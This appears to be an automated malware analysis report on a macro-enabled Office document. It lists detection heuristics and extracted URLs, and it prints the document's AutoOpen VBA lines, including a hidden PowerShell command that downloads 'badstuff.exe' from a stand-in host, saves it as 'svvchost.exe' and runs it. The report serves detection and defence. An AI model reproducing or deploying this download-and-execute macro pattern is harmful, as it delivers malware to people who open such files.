Malicious Office (OOXML) — malware analysis report

Heuristics 10

• ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
• VBA project inside OOXML medium 6 related findings OOXML_VBA
  Document contains a VBA project — VBA macros present
• Potential Shell call in VBA critical OLE_VBA_SHELL
  Potential Shell call in VBA
  Matched line in script

      objShell.Run (exec)
      'Shell (exec)

• WScript.Shell usage critical OLE_VBA_WSCRIPT
  WScript.Shell usage
  Matched line in script

      Dim strEncoded, exec As String
      Set objShell = CreateObject("Wscript.Shell")

• PowerShell reference in VBA critical OLE_VBA_PS
  PowerShell reference in VBA
  Matched line in script

      exec = "powershell.exe -nop -nologo -win hidden (New-Object System.Net.WebClient).DownloadFile('https://phisher.nastydomain.com/badstuff.exe','c:\Temp\svvchost.exe');Start-Process 'c:\temp\svvchost.exe'"
      objShell.Run (exec)

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

      Dim strEncoded, exec As String
      Set objShell = CreateObject("Wscript.Shell")

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
• AutoOpen macro low OLE_VBA_AUTOOPEN
  AutoOpen macro
  Matched line in script

  Attribute VB_Name = "NewMacros"
  Sub AutoOpen()
  '

• Macro/content-enable lure medium SE_ENABLE_LURE
  Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL https://phisher.nastydomain.com/badstuff.exe In document text (OOXML body / shared strings)

  • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

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